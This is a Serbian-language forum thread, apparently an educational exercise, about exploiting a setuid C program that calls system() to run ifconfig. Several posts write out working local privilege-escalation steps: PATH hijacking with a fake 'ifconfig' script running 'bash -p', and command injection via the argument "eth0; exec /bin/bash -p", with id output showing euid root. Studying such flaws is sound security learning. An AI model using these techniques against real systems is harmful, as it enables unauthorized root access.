Направљене поруке на форуму
-
АуторЧланци
-
popeye
Главни мајсторToma je sigurno neplanirano ostao duže na terenu. Verovatno je negde gde nema signala i izlaz na Internet.
popeye
Главни мајсторTražio si zeca u pogrešnom grmu. 😉
ifconfig:[code]#!/bin/bash -p
. /bin/bash -p[/code]
$ vi ifconfig
$ chmod 755 ifconfig
$ PATH=”.” ./a.out eth0
# id
uid=1000(popeye) gid=1000(popeye) euid=0(root)popeye
Главни мајсторAko na sistemu imaš bash1 (starije verzije Slackware distribucije ga sigurno imaju), linkuj /bin/sh na /bin/bash1 i probaj onda, radiće.
Kako bi pokrenuo shell u ispravljenoj verziji koda?
popeye
Главни мајсторda, ovo na slack-u ne radi, ni sa -p…
koliko sam shvatio, system() ne prenosi euid na bash2 samo ako je komanda /bin/bash, ali ja ni jednu komandu ne mogu da uradim kao root. bice da nisam dobro shvatio ovo objasnjenje za system()?sad cu da probam sa exec…
Bash2 odbacuje euid kada ga koristi system funkcija. Naredba “ifconfig eth0” u system() funkciji poziva ustvari “sh -c ifconfig eth0” i tada dolazi do odbacivanja euid vrednosti.
popeye
Главни мајсторAko unesemo proveru unosa, kako bismo onda zaobišli ovakav kod:
[code]#include
#includeint main(int argc, char *argv[]) {
char cmd[50] = “ifconfig “;
char interfejs[] = “eth0”;
if (strcmp(argv[1], interfejs)==0) {
strcat(cmd, argv[1]);
} else {
printf(“Argument “%s” nije mrezni interfejs!n”, argv[1]);
return 0;
}system(cmd);
return 0;}[/code]
Ima li još neko koga ovo interesuje pored japana?
Izmena: Ispravka koda.
popeye
Главни мајсторOpet, ponavljam, root privilegije dobijaš samo na Debianu i derivatima, ovo iznad je izlaz sa Ubuntu Breezy distribucije.
popeye
Главни мајсторHehe, bash zaštita od prenosa euida. 😉
[code]$ ./a.out “eth0; exec /bin/bash -p”
# id
uid=1000(popeye) gid=1000(popeye) euid=0(root) groups=4(adm),20(dialout),24(cdrom),25(floppy), 29(audio),30(dip),44(video),46(plugdev),107(lpadmin),108(scanner),109(admin),1000(popeye)[/code]Koji je euid? 😉
popeye
Главни мајсторProbaj:
[code]$ ./a.out “eth0; exec /bin/bash”[/code]
popeye
Главни мајсторLepo napisali ljudi u dokumentaciji za system() funkciju. Imaš li ideju kako da dobiješ shell?
popeye
Главни мајсторjesi ti dobio shell sa nekim od ovih primera? neki expansion bi trebalo da odradi, ali koji?
Svaki od primera omogućava dobijanje shell-a, na više načina. Skripte, naravno, na Linuxu ne mogu da preuzmu root euid, te nisu administratorske privilegije, ali shell je tu.
-
АуторЧланци